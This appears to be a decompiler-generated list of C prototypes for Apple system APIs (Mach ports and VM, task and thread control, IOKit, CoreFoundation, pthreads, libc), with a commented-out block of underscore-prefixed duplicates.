kern_return_t __cdecl mach_port_deallocate(ipc_space_t task, mach_port_name_t name);
kern_return_t __cdecl mach_port_destroy(ipc_space_t task, mach_port_name_t name);
kern_return_t __cdecl mach_port_get_attributes(ipc_space_read_t task, mach_port_name_t name, mach_port_flavor_t flavor, mach_port_info_t port_info_out, mach_msg_type_number_t *port_info_outCnt);
kern_return_t __cdecl mach_port_insert_right(ipc_space_t task, mach_port_name_t name, mach_port_t poly, mach_msg_type_name_t polyPoly);
kern_return_t __cdecl mach_port_mod_refs(ipc_space_t task, mach_port_name_t name, mach_port_right_t right, mach_port_delta_t delta);
kern_return_t __cdecl mach_port_request_notification(ipc_space_t task, mach_port_name_t name, mach_msg_id_t msgid, mach_port_mscount_t sync, mach_port_t notify, mach_msg_type_name_t notifyPoly, mach_port_t *previous);
kern_return_t __cdecl mach_port_set_attributes(ipc_space_t task, mach_port_name_t name, mach_port_flavor_t flavor, mach_port_info_t port_info, mach_msg_type_number_t port_infoCnt);
kern_return_t __cdecl mach_port_space_info(ipc_space_read_t space, ipc_info_space_t *space_info, ipc_info_name_array_t *table_info, mach_msg_type_number_t *table_infoCnt, ipc_info_tree_name_array_t *tree_info, mach_msg_type_number_t *tree_infoCnt);
kern_return_t __cdecl mach_ports_register(task_t target_task, mach_port_array_t init_port_set, mach_msg_type_number_t init_port_setCnt);
__int64 mach_reply_port();
mach_port_t mach_thread_self(void);
kern_return_t __cdecl mach_timebase_info(mach_timebase_info_t info);
kern_return_t __cdecl mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
kern_return_t __cdecl mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
kern_return_t __cdecl mach_vm_machine_attribute(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_machine_attribute_t attribute, vm_machine_attribute_val_t *value);
kern_return_t __cdecl mach_vm_page_info(vm_map_read_t target_task, mach_vm_address_t address, vm_page_info_flavor_t flavor, vm_page_info_t info, mach_msg_type_number_t *infoCnt);
kern_return_t __cdecl mach_vm_read_overwrite(vm_map_read_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
kern_return_t __cdecl mach_vm_wire(host_priv_t host_priv, vm_map_t task, mach_vm_address_t address, mach_vm_size_t size, vm_prot_t desired_access);
kern_return_t __cdecl mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
int __cdecl madvise(void *, size_t, int);
void *__cdecl malloc(size_t __size);
int __cdecl memcmp(const void *__s1, const void *__s2, size_t __n);
void *__cdecl memcpy(void *__dst, const void *__src, size_t __n);
void __cdecl mig_dealloc_reply_port(mach_port_t reply_port);
mach_port_t mig_get_reply_port(void);
int __cdecl mkdir(const char *, mode_t);
char *__cdecl mktemp(char *);
// void *__cdecl mmap(void *, size_t, int, int, int, off_t);
int __cdecl mount(const char *, const char *, int, void *);
int necp_client_action(int fd, uint32_t action, const void *client_id, size_t client_id_len, void *buffer, size_t buffer_size);
int necp_open(int flags);
int open(const char *, int, ...);
int open_dprotected_np(const char *, int, int, int, ...);
kern_return_t __cdecl pid_for_task(mach_port_name_t t, int *x);
int __cdecl pipe(int[2]);
int __cdecl posix_spawn(pid_t *, const char *, const posix_spawn_file_actions_t *, const posix_spawnattr_t *, char *const __argv[], char *const __envp[]);
int __cdecl posix_spawn_file_actions_addopen(posix_spawn_file_actions_t *, int, const char *, int, mode_t);
int __cdecl posix_spawn_file_actions_destroy(posix_spawn_file_actions_t *);
int __cdecl posix_spawn_file_actions_init(posix_spawn_file_actions_t *);
int __cdecl posix_spawnattr_destroy(posix_spawnattr_t *);
int __cdecl posix_spawnattr_init(posix_spawnattr_t *);
int __cdecl posix_spawnattr_setflags(posix_spawnattr_t *, __int16);
int __cdecl posix_spawnattr_setpgroup(posix_spawnattr_t *, pid_t);
int __cdecl posix_spawnattr_setsigdefault(posix_spawnattr_t *, const sigset_t *);
ssize_t __cdecl pread(int __fd, void *__buf, size_t __nbyte, off_t __offset);
int __cdecl proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize);
kern_return_t __cdecl processor_set_default(host_t host, processor_set_name_t *default_set);
kern_return_t __cdecl processor_set_info(processor_set_name_t set_name, int flavor, host_t *host, processor_set_info_t info_out, mach_msg_type_number_t *info_outCnt);
int __cdecl pthread_attr_destroy(pthread_attr_t *);
int __cdecl pthread_attr_init(pthread_attr_t *);
int __cdecl pthread_attr_setdetachstate(pthread_attr_t *, int);
int __cdecl pthread_create(pthread_t *, const pthread_attr_t *, void *(__cdecl *)(void *), void *);
int __cdecl pthread_create_suspended_np(pthread_t *, const pthread_attr_t *, void *(__cdecl *)(void *), void *);
pthread_t __cdecl pthread_from_mach_thread_np(mach_port_t);
int __cdecl pthread_join(pthread_t, void **);
mach_port_t __cdecl pthread_mach_thread_np(pthread_t);
int __cdecl pthread_mutex_destroy(pthread_mutex_t *);
int __cdecl pthread_mutex_init(pthread_mutex_t *, const pthread_mutexattr_t *);
int __cdecl pthread_mutex_lock(pthread_mutex_t *);
int __cdecl pthread_mutex_unlock(pthread_mutex_t *);
pthread_t pthread_self(void);
void __cdecl qsort(void *__base, size_t __nel, size_t __width, int (__cdecl *__compar)(const void *, const void *));
ssize_t __cdecl read(int, void *, size_t);
void *__cdecl realloc(void *__ptr, size_t __size);
int __cdecl rmdir(const char *);
int sandbox_check(pid_t pid, const char *operation, int flags, ...);
int sched_yield(void);
kern_return_t __cdecl semaphore_create(task_t task, semaphore_t *semaphore, int policy, int value);
kern_return_t __cdecl semaphore_destroy(task_t task, semaphore_t semaphore);
kern_return_t __cdecl semaphore_signal(semaphore_t semaphore);
kern_return_t __cdecl semaphore_timedwait(semaphore_t semaphore, mach_timespec_t wait_time);
kern_return_t __cdecl semaphore_wait(semaphore_t semaphore);
int __cdecl seteuid(uid_t);
int __cdecl setsockopt(int, int, int, const void *, socklen_t);
int snprintf(char *__str, size_t __size, const char *__format, ...);
int __cdecl socket(int, int, int);
int sscanf(const char *, const char *, ...);
int __cdecl stat(const char *, stat *);
int __cdecl statfs(const char *, struct statfs *);
char *__cdecl strchr(const char *__s, int __c);
int __cdecl strcmp(const char *__s1, const char *__s2);
char *__cdecl strcpy(char *__dst, const char *__src);
char *__cdecl strdup(const char *__s1);
size_t __cdecl strlcpy(char *__dst, const char *__source, size_t __size);
size_t __cdecl strlen(const char *__s);
int __cdecl strncmp(const char *__s1, const char *__s2, size_t __n);
char *__cdecl strsep(char **__stringp, const char *__delim);
char *__cdecl strstr(const char *__big, const char *__little);
__int64 __cdecl strtol(const char *__str, char **__endptr, int __base);
int syscall(int, ...);
int __cdecl sysctl(int *, u_int, void *, size_t *, void *, size_t);
int __cdecl sysctlbyname(const char *, void *, size_t *, void *, size_t);
kern_return_t __cdecl task_get_special_port(task_inspect_t task, int which_port, mach_port_t *special_port);
kern_return_t __cdecl task_info(task_name_t target_task, task_flavor_t flavor, task_info_t task_info_out, mach_msg_type_number_t *task_info_outCnt);
kern_return_t __cdecl task_map_corpse_info_64(task_t task, task_read_t corspe_task, mach_vm_address_t *kcd_addr_begin, mach_vm_size_t *kcd_size);
kern_return_t __cdecl task_resume2(task_suspension_token_t suspend_token);
kern_return_t __cdecl task_set_special_port(task_t task, int which_port, mach_port_t special_port);
kern_return_t __cdecl task_suspend2(task_t target_task, task_suspension_token_t *suspend_token);
kern_return_t __cdecl task_threads(task_inspect_t target_task, thread_act_array_t *act_list, mach_msg_type_number_t *act_listCnt);
kern_return_t __cdecl thread_create(task_t parent_task, thread_act_t *child_act);
kern_return_t __cdecl thread_get_state(thread_read_t target_act, thread_state_flavor_t flavor, thread_state_t old_state, mach_msg_type_number_t *old_stateCnt);
kern_return_t __cdecl thread_policy_set(thread_act_t thread, thread_policy_flavor_t flavor, thread_policy_t policy_info, mach_msg_type_number_t policy_infoCnt);
kern_return_t __cdecl thread_resume(thread_act_t target_act);
kern_return_t __cdecl thread_set_exception_ports(thread_act_t thread, exception_mask_t exception_mask, mach_port_t new_port, exception_behavior_t behavior, thread_state_flavor_t new_flavor);
kern_return_t __cdecl thread_set_state(thread_act_t target_act, thread_state_flavor_t flavor, thread_state_t new_state, mach_msg_type_number_t new_stateCnt);
kern_return_t __cdecl thread_suspend(thread_act_t target_act);
kern_return_t __cdecl thread_switch(mach_port_name_t thread_name, int option, mach_msg_timeout_t option_time);
kern_return_t __cdecl thread_terminate(thread_act_t target_act);
int __cdecl uname(utsname *);
int __cdecl unlink(const char *);
int __cdecl unmount(const char *, int);
int __cdecl usleep(useconds_t);
int __cdecl uuid_is_null(const uuid_t uu);
kern_return_t __cdecl vm_allocate(vm_map_t target_task, vm_address_t *address, vm_size_t size, int flags);
kern_return_t __cdecl vm_copy(vm_map_t target_task, vm_address_t source_address, vm_size_t size, vm_address_t dest_address);
kern_return_t __cdecl vm_deallocate(vm_map_t target_task, vm_address_t address, vm_size_t size);
kern_return_t __cdecl vm_map(vm_map_t target_task, vm_address_t *address, vm_size_t size, vm_address_t mask, int flags, mem_entry_name_port_t object, vm_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance);
kern_return_t __cdecl vm_protect(vm_map_t target_task, vm_address_t address, vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection);
kern_return_t __cdecl vm_read_overwrite(vm_map_t target_task, vm_address_t address, vm_size_t size, vm_address_t data, vm_size_t *outsize);
kern_return_t __cdecl vm_region_64(vm_map_t target_task, vm_address_t *address, vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name);
kern_return_t __cdecl vm_region_recurse_64(vm_map_t target_task, vm_address_t *address, vm_size_t *size, natural_t *nesting_depth, vm_region_recurse_info_t info, mach_msg_type_number_t *infoCnt);
kern_return_t __cdecl vm_remap(vm_map_t target_task, vm_address_t *target_address, vm_size_t size, vm_address_t mask, int flags, vm_map_t src_task, vm_address_t src_address, boolean_t copy, vm_prot_t *cur_protection, vm_prot_t *max_protection, vm_inherit_t inheritance);
kern_return_t __cdecl vm_write(vm_map_t target_task, vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
pid_t __cdecl waitpid(pid_t, int *, int);
ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte);
#endif
// void __cdecl _CFArrayAppendValue(CFMutableArrayRef theArray, const void *value);
// void __cdecl _CFArrayApplyFunction(CFArrayRef theArray, CFRange range, CFArrayApplierFunction applier, void *context);
// Boolean __cdecl _CFArrayContainsValue(CFArrayRef theArray, CFRange range, const void *value);
// CFIndex __cdecl _CFArrayGetCount(CFArrayRef theArray);
// CFTypeID _CFArrayGetTypeID(void);
// CFTypeID _CFBooleanGetTypeID(void);
// CFDataRef __cdecl _CFDataCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length);
// CFDataRef __cdecl _CFDataCreateWithBytesNoCopy(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length, CFAllocatorRef bytesDeallocator);
// const UInt8 *__cdecl _CFDataGetBytePtr(CFDataRef theData);
// CFIndex __cdecl _CFDataGetLength(CFDataRef theData);
// CFTypeID _CFDataGetTypeID(void);
// void __cdecl _CFDictionaryAddValue(CFMutableDictionaryRef theDict, const void *key, const void *value);
// void __cdecl _CFDictionaryApplyFunction(CFDictionaryRef theDict, CFDictionaryApplierFunction applier, void *context);
// CFMutableDictionaryRef __cdecl _CFDictionaryCreateMutable(CFAllocatorRef allocator, CFIndex capacity, const CFDictionaryKeyCallBacks *keyCallBacks, const CFDictionaryValueCallBacks *valueCallBacks);
// CFMutableDictionaryRef __cdecl _CFDictionaryCreateMutableCopy(CFAllocatorRef allocator, CFIndex capacity, CFDictionaryRef theDict);
// CFTypeID _CFDictionaryGetTypeID(void);
// Boolean __cdecl _CFDictionaryGetValueIfPresent(CFDictionaryRef theDict, const void *key, const void **value);
// void __cdecl _CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value);
// Boolean __cdecl _CFEqual(CFTypeRef cf1, CFTypeRef cf2);
// CFTypeID __cdecl _CFGetTypeID(CFTypeRef cf);
// CFNumberRef __cdecl _CFNumberCreate(CFAllocatorRef allocator, CFNumberType theType, const void *valuePtr);
// CFTypeID _CFNumberGetTypeID(void);
// Boolean __cdecl _CFNumberGetValue(CFNumberRef number, CFNumberType theType, void *valuePtr);
// CFDataRef __cdecl _CFPropertyListCreateData(CFAllocatorRef allocator, CFPropertyListRef propertyList, CFPropertyListFormat format, CFOptionFlags options, CFErrorRef *error);
// CFPropertyListRef __cdecl _CFPropertyListCreateWithData(CFAllocatorRef allocator, CFDataRef data, CFOptionFlags options, CFPropertyListFormat *format, CFErrorRef *error);
// CFPropertyListRef __cdecl _CFPropertyListCreateWithStream(CFAllocatorRef allocator, CFReadStreamRef stream, CFIndex streamLength, CFOptionFlags options, CFPropertyListFormat *format, CFErrorRef *error);
// void __cdecl _CFReadStreamClose(CFReadStreamRef stream);
// CFReadStreamRef __cdecl _CFReadStreamCreateWithBytesNoCopy(CFAllocatorRef alloc, const UInt8 *bytes, CFIndex length, CFAllocatorRef bytesDeallocator);
// Boolean __cdecl _CFReadStreamOpen(CFReadStreamRef stream);
// void __cdecl _CFRelease(CFTypeRef cf);
// void __cdecl _CFRunLoopAddSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode);
// CFRunLoopRef _CFRunLoopGetCurrent(void);
// void __cdecl _CFRunLoopRemoveSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode);
// CFRunLoopRunResult __cdecl _CFRunLoopRunInMode(CFRunLoopMode mode, CFTimeInterval seconds, Boolean returnAfterSourceHandled);
// CFStringRef __cdecl _CFStringCreateWithCString(CFAllocatorRef alloc, const char *cStr, CFStringEncoding encoding);
// Boolean __cdecl _CFStringGetCString(CFStringRef theString, char *buffer, CFIndex bufferSize, CFStringEncoding encoding);
// CFStringEncoding _CFStringGetSystemEncoding(void);
// CFTypeID _CFStringGetTypeID(void);
// Boolean __cdecl _CFStringHasPrefix(CFStringRef theString, CFStringRef prefix);
// __int64 __CFProcessPath(void); weak
// CFDataRef __cdecl _IOCFSerialize(CFTypeRef object, CFOptionFlags options);
// kern_return_t __cdecl _IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt);
// kern_return_t __cdecl _IOConnectCallScalarMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, uint64_t *output, uint32_t *outputCnt);
// kern_return_t __cdecl _IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
// kern_return_t __cdecl _IOConnectTrap4(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4);
// kern_return_t __cdecl _IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
// io_object_t __cdecl _IOIteratorNext(io_iterator_t iterator);
// IONotificationPortRef __cdecl _IONotificationPortCreate(mach_port_t masterPort);
// void __cdecl _IONotificationPortDestroy(IONotificationPortRef notify);
// CFRunLoopSourceRef __cdecl _IONotificationPortGetRunLoopSource(IONotificationPortRef notify);
// kern_return_t __cdecl _IOObjectRelease(io_object_t object);
// kern_return_t __cdecl _IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, IOOptionBits options);
// CFTypeRef __cdecl _IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options);
// io_registry_entry_t __cdecl _IORegistryEntryFromPath(mach_port_t masterPort, const io_string_t path);
// kern_return_t __cdecl _IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *iterator);
// CFTypeRef __cdecl _IORegistryEntrySearchCFProperty(io_registry_entry_t entry, const io_name_t plane, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options);
// kern_return_t __cdecl _IOServiceAddMatchingNotification(IONotificationPortRef notifyPort, const io_name_t notificationType, CFDictionaryRef matching, IOServiceMatchingCallback callback, void *refCon, io_iterator_t *notification);
// kern_return_t __cdecl _IOServiceClose(io_connect_t connect);
// io_service_t __cdecl _IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching);
// CFMutableDictionaryRef __cdecl _IOServiceMatching(const char *name);
// kern_return_t __cdecl _IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect);
// kern_return_t __cdecl _IOServiceWaitQuiet(io_service_t service, mach_timespec_t *waitTime);
// __int64 __IOServiceSetAuthorizationID(void); weak
// int __cdecl _CC_SHA1_Final(unsigned __int8 *md, CC_SHA1_CTX *c);
// int __cdecl _CC_SHA1_Init(CC_SHA1_CTX *c);
// int __cdecl _CC_SHA1_Update(CC_SHA1_CTX *c, const void *data, CC_LONG len);
// int __cdecl _CC_SHA256_Final(unsigned __int8 *md, CC_SHA256_CTX *c);
// int __cdecl _CC_SHA256_Init(CC_SHA256_CTX *c);
// int __cdecl _CC_SHA256_Update(CC_SHA256_CTX *c, const void *data, CC_LONG len);
// int __cdecl _CC_SHA384_Final(unsigned __int8 *md, CC_SHA512_CTX *c);
// int __cdecl _CC_SHA384_Init(CC_SHA512_CTX *c);
// int __cdecl _CC_SHA384_Update(CC_SHA512_CTX *c, const void *data, CC_LONG len);
// int *___error(void);
// __int64 ___memcpy_chk(void); weak
// __int64 ___memset_chk(void); weak
// __int64 ___semwait_signal(void); weak
// __int64 ___strlcpy_chk(void); weak
// int ___ulock_wait(unsigned int, void *, unsigned __int64, unsigned int); weak
// int ___ulock_wake(unsigned int, void *, unsigned __int64); weak
// __int64 j___get_cpu_capabilities(void); weak
// void *__os_alloc_once(void *slot, size_t size, void *init); weak
// void __cdecl _arc4random_buf(void *__buf, size_t __nbytes);
// void __cdecl _bzero(void *, size_t);
// void *__cdecl _calloc(size_t __count, size_t __size);
// int __cdecl _chown(const char *, uid_t, gid_t);
// int __cdecl _close(int);
// int __cdecl _connect(int, const sockaddr *, socklen_t);
// int __cdecl _dlclose(void *__handle);
// void *__cdecl _dlopen(const char *__path, int __mode);
// void *__cdecl _dlsym(void *__handle, const char *__symbol);
// int _fcntl(int, int, ...);
// int __cdecl _ffsctl(int, unsigned __int64, void *, unsigned int);
// int _fileport_makefd(mach_port_t port); weak
// __int64 __fastcall _fileport_makeport(uint64_t, uint64_t); weak
// void __cdecl _free(void *);
// int __cdecl _fstat(int, stat *);
// int __cdecl _getattrlist(const char *, void *, void *, size_t, unsigned int);
// int __cdecl _getmntinfo(struct statfs **, int);
// pid_t _getpid(void);
// pid_t _getppid(void);
// uid_t _getuid(void);
// kern_return_t __cdecl _host_create_mach_voucher(host_t host, mach_voucher_attr_raw_recipe_array_t recipes, mach_msg_type_number_t recipesCnt, ipc_voucher_t *voucher);
// kern_return_t __cdecl _host_get_io_master(host_t host, io_master_t *io_master);
// kern_return_t __cdecl _host_get_special_port(host_priv_t host_priv, int node, int which, mach_port_t *port);
// kern_return_t __cdecl _host_kernel_version(host_t host, kernel_version_t kernel_version);
// kern_return_t __cdecl _host_page_size(host_t, vm_size_t *);
// kern_return_t __cdecl _host_processors(host_priv_t host_priv, processor_array_t *out_processor_list, mach_msg_type_number_t *out_processor_listCnt);
// kern_return_t __cdecl _host_security_set_task_token(host_security_t host_security, task_t target_task, security_token_t sec_token, audit_token_t *__struct_ptr audit_token, host_t host);
// int _ioctl(int, unsigned __int64, ...);
// int __cdecl _lstat(const char *, stat *);
// uint64_t _mach_absolute_time(void);
// mach_port_t _mach_host_self(void);
// kern_return_t __cdecl _mach_make_memory_entry(vm_map_t target_task, vm_size_t *size, vm_offset_t offset, vm_prot_t permission, mem_entry_name_port_t *object_handle, mem_entry_name_port_t parent_entry);
// kern_return_t __cdecl _mach_make_memory_entry_64(vm_map_t target_task, memory_object_size_t *size, memory_object_offset_t offset, vm_prot_t permission, mach_port_t *object_handle, mem_entry_name_port_t parent_entry);
// mach_msg_return_t __cdecl _mach_msg(mach_msg_header_t *msg, mach_msg_option_t option, mach_msg_size_t send_size, mach_msg_size_t rcv_size, mach_port_name_t rcv_name, mach_msg_timeout_t timeout, mach_port_name_t notify);
// void __cdecl _mach_msg_destroy(mach_msg_header_t *);
// mach_msg_return_t __cdecl _mach_msg_send(mach_msg_header_t *);
// kern_return_t __cdecl _mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name);
// kern_return_t __cdecl _mach_port_deallocate(ipc_space_t task, mach_port_name_t name);
// kern_return_t __cdecl _mach_port_destroy(ipc_space_t task, mach_port_name_t name);
// kern_return_t __cdecl _mach_port_get_attributes(ipc_space_read_t task, mach_port_name_t name, mach_port_flavor_t flavor, mach_port_info_t port_info_out, mach_msg_type_number_t *port_info_outCnt);
// kern_return_t __cdecl _mach_port_insert_right(ipc_space_t task, mach_port_name_t name, mach_port_t poly, mach_msg_type_name_t polyPoly);
// kern_return_t __cdecl _mach_port_mod_refs(ipc_space_t task, mach_port_name_t name, mach_port_right_t right, mach_port_delta_t delta);
// kern_return_t __cdecl _mach_port_request_notification(ipc_space_t task, mach_port_name_t name, mach_msg_id_t msgid, mach_port_mscount_t sync, mach_port_t notify, mach_msg_type_name_t notifyPoly, mach_port_t *previous);
// kern_return_t __cdecl _mach_port_set_attributes(ipc_space_t task, mach_port_name_t name, mach_port_flavor_t flavor, mach_port_info_t port_info, mach_msg_type_number_t port_infoCnt);
// kern_return_t __cdecl _mach_port_space_info(ipc_space_read_t space, ipc_info_space_t *space_info, ipc_info_name_array_t *table_info, mach_msg_type_number_t *table_infoCnt, ipc_info_tree_name_array_t *tree_info, mach_msg_type_number_t *tree_infoCnt);
// kern_return_t __cdecl _mach_ports_register(task_t target_task, mach_port_array_t init_port_set, mach_msg_type_number_t init_port_setCnt);
// __int64 _mach_reply_port(void); weak
// mach_port_t _mach_thread_self(void);
// kern_return_t __cdecl _mach_timebase_info(mach_timebase_info_t info);
// kern_return_t __cdecl _mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
// kern_return_t __cdecl _mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
// kern_return_t __cdecl _mach_vm_machine_attribute(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_machine_attribute_t attribute, vm_machine_attribute_val_t *value);
// kern_return_t __cdecl _mach_vm_page_info(vm_map_read_t target_task, mach_vm_address_t address, vm_page_info_flavor_t flavor, vm_page_info_t info, mach_msg_type_number_t *infoCnt);
// kern_return_t __cdecl _mach_vm_read_overwrite(vm_map_read_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
// kern_return_t __cdecl _mach_vm_wire(host_priv_t host_priv, vm_map_t task, mach_vm_address_t address, mach_vm_size_t size, vm_prot_t desired_access);
// kern_return_t __cdecl _mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
// int __cdecl _madvise(void *, size_t, int);
// void *__cdecl _malloc(size_t __size);
// int __cdecl _memcmp(const void *__s1, const void *__s2, size_t __n);
// void *__cdecl _memcpy(void *__dst, const void *__src, size_t __n);
// void __cdecl _mig_dealloc_reply_port(mach_port_t reply_port);
// mach_port_t _mig_get_reply_port(void);
// int __cdecl _mkdir(const char *, mode_t);
// char *__cdecl _mktemp(char *);
// void *__cdecl _mmap(void *, size_t, int, int, int, off_t);
// int __cdecl _mount(const char *, const char *, int, void *);
// int _necp_client_action(int fd, uint32_t action, const void *client_id, size_t client_id_len, void *buffer, size_t buffer_size); weak
// int _necp_open(int flags); weak
// int _open(const char *, int, ...);
// int _open_dprotected_np(const char *, int, int, int, ...);
// kern_return_t __cdecl _pid_for_task(mach_port_name_t t, int *x);
// int __cdecl _pipe(int[2]);
// int __cdecl _posix_spawn(pid_t *, const char *, const posix_spawn_file_actions_t *, const posix_spawnattr_t *, char *const __argv[], char *const __envp[]);
// int __cdecl _posix_spawn_file_actions_addopen(posix_spawn_file_actions_t *, int, const char *, int, mode_t);
// int __cdecl _posix_spawn_file_actions_destroy(posix_spawn_file_actions_t *);
// int __cdecl _posix_spawn_file_actions_init(posix_spawn_file_actions_t *);
// int __cdecl _posix_spawnattr_destroy(posix_spawnattr_t *);
// int __cdecl _posix_spawnattr_init(posix_spawnattr_t *);
// int __cdecl _posix_spawnattr_setflags(posix_spawnattr_t *, __int16);
// int __cdecl _posix_spawnattr_setpgroup(posix_spawnattr_t *, pid_t);
// int __cdecl _posix_spawnattr_setsigdefault(posix_spawnattr_t *, const sigset_t *);
// ssize_t __cdecl _pread(int __fd, void *__buf, size_t __nbyte, off_t __offset);
// int __cdecl _proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize);
// kern_return_t __cdecl _processor_set_default(host_t host, processor_set_name_t *default_set);
// kern_return_t __cdecl _processor_set_info(processor_set_name_t set_name, int flavor, host_t *host, processor_set_info_t info_out, mach_msg_type_number_t *info_outCnt);
// int __cdecl _pthread_attr_destroy(pthread_attr_t *);
// int __cdecl _pthread_attr_init(pthread_attr_t *);
// int __cdecl _pthread_attr_setdetachstate(pthread_attr_t *, int);
// int __cdecl _pthread_create(pthread_t *, const pthread_attr_t *, void *(__cdecl *)(void *), void *);
// int __cdecl _pthread_create_suspended_np(pthread_t *, const pthread_attr_t *, void *(__cdecl *)(void *), void *);
// pthread_t __cdecl _pthread_from_mach_thread_np(mach_port_t);
// int __cdecl _pthread_join(pthread_t, void **);
// mach_port_t __cdecl _pthread_mach_thread_np(pthread_t);
// int __cdecl _pthread_mutex_destroy(pthread_mutex_t *);
// int __cdecl _pthread_mutex_init(pthread_mutex_t *, const pthread_mutexattr_t *);
// int __cdecl _pthread_mutex_lock(pthread_mutex_t *);
// int __cdecl _pthread_mutex_unlock(pthread_mutex_t *);
// pthread_t _pthread_self(void);
// void __cdecl _qsort(void *__base, size_t __nel, size_t __width, int (__cdecl *__compar)(const void *, const void *));
// ssize_t __cdecl _read(int, void *, size_t);
// void *__cdecl _realloc(void *__ptr, size_t __size);
// int __cdecl _rmdir(const char *);
// __int64 __fastcall _sandbox_check(int pid);
// int _sched_yield(void);
// kern_return_t __cdecl _semaphore_create(task_t task, semaphore_t *semaphore, int policy, int value);
// kern_return_t __cdecl _semaphore_destroy(task_t task, semaphore_t semaphore);
// kern_return_t __cdecl _semaphore_signal(semaphore_t semaphore);
// kern_return_t __cdecl _semaphore_timedwait(semaphore_t semaphore, mach_timespec_t wait_time);
// kern_return_t __cdecl _semaphore_wait(semaphore_t semaphore);
// int __cdecl _seteuid(uid_t);
// int __cdecl _setsockopt(int, int, int, const void *, socklen_t);
// int _snprintf(char *__str, size_t __size, const char *__format, ...);
// int __cdecl _socket(int, int, int);
// int _sscanf(const char *, const char *, ...);
// int __cdecl _stat(const char *, stat *);
// int __cdecl _statfs(const char *, struct statfs *);
// char *__cdecl _strchr(const char *__s, int __c);
// int __cdecl _strcmp(const char *__s1, const char *__s2);
// char *__cdecl _strcpy(char *__dst, const char *__src);
// char *__cdecl _strdup(const char *__s1);
// size_t __cdecl _strlcpy(char *__dst, const char *__source, size_t __size);
// size_t __cdecl _strlen(const char *__s);
// int __cdecl _strncmp(const char *__s1, const char *__s2, size_t __n);
// char *__cdecl _strsep(char **__stringp, const char *__delim);
// char *__cdecl _strstr(const char *__big, const char *__little);
// __int64 __cdecl _strtol(const char *__str, char **__endptr, int __base);
// int _syscall(int, ...);
// int __cdecl _sysctl(int *, u_int, void *, size_t *, void *, size_t);
// int __cdecl _sysctlbyname(const char *, void *, size_t *, void *, size_t);
// kern_return_t __cdecl _task_get_special_port(task_inspect_t task, int which_port, mach_port_t *special_port);
// kern_return_t __cdecl _task_info(task_name_t target_task, task_flavor_t flavor, task_info_t task_info_out, mach_msg_type_number_t *task_info_outCnt);
// kern_return_t __cdecl _task_map_corpse_info_64(task_t task, task_read_t corspe_task, mach_vm_address_t *kcd_addr_begin, mach_vm_size_t *kcd_size);
// kern_return_t __cdecl _task_resume2(task_suspension_token_t suspend_token);
// kern_return_t __cdecl _task_set_special_port(task_t task, int which_port, mach_port_t special_port);
// kern_return_t __cdecl _task_suspend2(task_t target_task, task_suspension_token_t *suspend_token);
// kern_return_t __cdecl _task_threads(task_inspect_t target_task, thread_act_array_t *act_list, mach_msg_type_number_t *act_listCnt);
// kern_return_t __cdecl _thread_create(task_t parent_task, thread_act_t *child_act);
// kern_return_t __cdecl _thread_get_state(thread_read_t target_act, thread_state_flavor_t flavor, thread_state_t old_state, mach_msg_type_number_t *old_stateCnt);
// kern_return_t __cdecl _thread_policy_set(thread_act_t thread, thread_policy_flavor_t flavor, thread_policy_t policy_info, mach_msg_type_number_t policy_infoCnt);
// kern_return_t __cdecl _thread_resume(thread_act_t target_act);
// kern_return_t __cdecl _thread_set_exception_ports(thread_act_t thread, exception_mask_t exception_mask, mach_port_t new_port, exception_behavior_t behavior, thread_state_flavor_t new_flavor);
// kern_return_t __cdecl _thread_set_state(thread_act_t target_act, thread_state_flavor_t flavor, thread_state_t new_state, mach_msg_type_number_t new_stateCnt);
// kern_return_t __cdecl _thread_suspend(thread_act_t target_act);
// kern_return_t __cdecl _thread_switch(mach_port_name_t thread_name, int option, mach_msg_timeout_t option_time);
